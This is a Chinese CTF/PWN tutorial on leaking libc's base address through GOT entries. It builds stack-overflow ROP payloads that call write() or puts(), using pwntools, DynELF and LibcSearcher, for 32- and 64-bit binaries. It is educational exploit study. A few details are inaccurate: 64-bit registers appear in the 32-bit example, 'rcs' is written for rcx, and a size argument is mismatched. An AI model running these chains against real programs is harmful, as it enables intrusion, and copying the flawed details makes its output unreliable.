[系统运维]【PWN学习】如何获取libc基址

使用Write()泄露函数实际地址

• 头文件： #include <unistd.h>

• 定义函数：ssize_t write (int fd, const void * buf, size_t count);

• **函数说明：write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.**write函数的特点在于其输出完全由其参数size决定，只要目标地址可读，size填多少就输出多少，不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。

  • 第一个参数fd=１：标准输出 STDOUT

• 返回值：如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中.

• Payload：‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count

  from pwn import *
  elf = ELF('./elf_file')
  def leak(addr):
      payload = b''
      payload += b'a' * 0x88			 # 栈的大小
      payload += b'a' * 0x4 			 # ebp
      payload += p32(write_plt)    # write地址
      payload += p32(main_addr)    # 返回地址
      payload += p32(1)       # 第一个参数 fd
      payload += p32(addr)    # 第二个参数 buf   通常可以为write_got
      payload += p32(4)       # 第三个参数 size
      conn.sendlineafter(b'Input:\n',payload)
      content = conn.recv()[:4]
      print("%#x -> %s" %(addr, binascii.b2a_hex((content or ''))))
      return content
  
  d = DynELF(leak, elf = elf)
  system_addr = d.lookup('__libc_system', 'libc')
  log.success("system:"+hex(system_addr))
  

使用Puts()泄露函数实际地址

• 头文件： #include<stdio.h>

• 定义函数：int puts(const char *string);

• 函数说明： puts()函数只能够输出字符串，以’\0’来确定字符串的结尾。

• Payload:

  payload = b''
  payload += b'a' * 0x  			# 栈的大小
  payload += p64(0) 	  			# ebp
  payload += p64(pop_rdi)			# 给puts()函数赋值
  payload += p64(addr)				# leak函数的参数addr  可以为puts_got
  payload += p64(puts_plt)		# puts函数地址
  

为什么利用write()和puts()函数来获取libc基址时，要泄露got表中函数的地址？

通过学习GOT和PLT的知识，了解到当函数被调用过之后，GOT表中存放的函数地址就是函数的实际地址。而这个地址是通过以下方式确定的
$$函数的实际地址=libc基址+函数在libc中偏移量$$
因此利用GOT泄露的函数实际地址，和函数在libc中的偏移量就可以计算出libc的基址。

如何获取函数在libc中的偏移量呢？

这里可能有两种情况，一种是libc已知，一种是libc未知。

libc已知

libc已知的情况，可以通过反编译libc获取地址。如下所示，利用radare分析libc文件，可以获取libc中write的偏移地址是0x000d43c0

[0x000187c0]> afl | grep write
0x00063880   22 406  -> 395  sym._IO_wdo_write
0x000d43c0    5 101          sym.__write

也可以通过pwntools的ELF类，加载libc文件来获取目标函数的偏移地址。

libc= ELF('./libc_32.so.6')

libc_write_offset = libc.sym['write']

libc未知

libc未知的情况下，需要确定libc的版本号。同一个版本的libc对应的函数的实际地址是一样的，因此通过收集所有libc库的实际函数的地址，就利用泄露的函数的实际地址确定libc版本，从而进一步获取libc中函数的偏移地址。

pwn中可以使用LibSearcher库

from LibcSearcher import *

...
# leak是使用write或put进行地址泄露的函数
write = leak(write_got)
libc = LibcSearcher('write', write)
libcbase = write - libc.dump('write')

为什么write和putS在泄露基址的时候是这样构造payload？

根据前面的分析，我们知道我们要泄露的是GOT表的地址，需要利用WRITE和PUTS输出数据的能力。

假设要泄露的是函数func的地址，我们需要构造write(1, func_got_addr, 4)或者puts(func_got_addr)

32位Linux

32位Linux是用栈传递参数的，如果将write(1, func_got_addr, 4)编译成汇编，大概的运行流程如下

push 4
lea rax, [func_got_addr]
push rax
push 1
call write 

我们知道栈是先进后出的，因此在写payload的时候需要将这个过程反过来，就变成了如下所示

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += write_plt地址
payload += write运行后返回地址
payload += write的第一个参数_1
payload += write的第二个参数_func_got_addr
payload += write的第三个参数_4

同样的，如果是用puts的话payload只需要传入一个参数

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += puts调用地址
payload += puts运行后返回地址
payload += puts的参数_func_got_addr

64位Linux

64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的。

lea rdi, [func_got_addr]
call puts

这里不是使用栈，因此在构造payload的时候需要按顺序构造调用链。我们需要把要泄露的地址func_got_addr放到rdi寄存器中。如何做到呢？我们先来分析学习一下puts的payload

payload = b''
payload += b'a' * 0xN  			# 栈的大小
payload += p64(0) 	  			# ebp
payload += p64(pop_rdi)			# 给puts()函数赋值
payload += p64(addr)				# 要泄露的函数的地址func_got_addr
payload += p64(puts_plt)		# puts函数地址

payload发送后，当执行到预设返回地址时，栈中的情况如下所示

sp ------- 		  | pop_rdi的地址 ｜
				  | func_got_addr｜
				  | puts_plt地址  |

此时程序跳转到pop rdi的位置执行，

pop rdi
ret

而栈指针出栈后，将下移一步。

				  | pop_rdi的地址 ｜
sp -------        | func_got_addr｜
				  | puts_plt地址  |

程序接下来执行pop rdi，将栈指针当前所指弹出，存入rdi中。这样一来，成功将func_got_addr放入了rdi中。执行后sp继续下移一帧，指向了puts_plt地址

				  | pop_rdi的地址 ｜
				  | func_got_addr｜
sp -------        | puts_plt地址  |

下一步，程序将执行ret。ret相当于执行了pop ip，将当前栈指针指向的内存地址的内容存入ip寄存器中。因此puts_plt的地址将被加载到指令寄存器里，等待执行。

到此为止即完成puts(func_got_addr)的调用。

从这里也可以学习到gadget的构造方式，pop reg后紧跟要放入reg中的数据，即可成功给reg赋值。

利用上面学习到的方式，下面尝试构造利用write进行泄露的payload。我们希望构成如下的调用链

mov rdx, 4
lea rsi, [func_got_addr]
mov rdi, 1
call write

payload = padding			# 填充栈
payload += p64(0)			# rbp
payload += p64(pop_rdx) + p64(0x8)
payload += p64(pop_rsi) + p64(func_got_addr)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(write_plt)

当然直接找到下面三个gadget，是一种理想情况

pop rdx; ret
pop rsi; ret
pop rdi; ret

大多数情况找不到这么完美的gadget的，这是就需要使用万能gadget来构造调用链，这部分内容以后再来学习。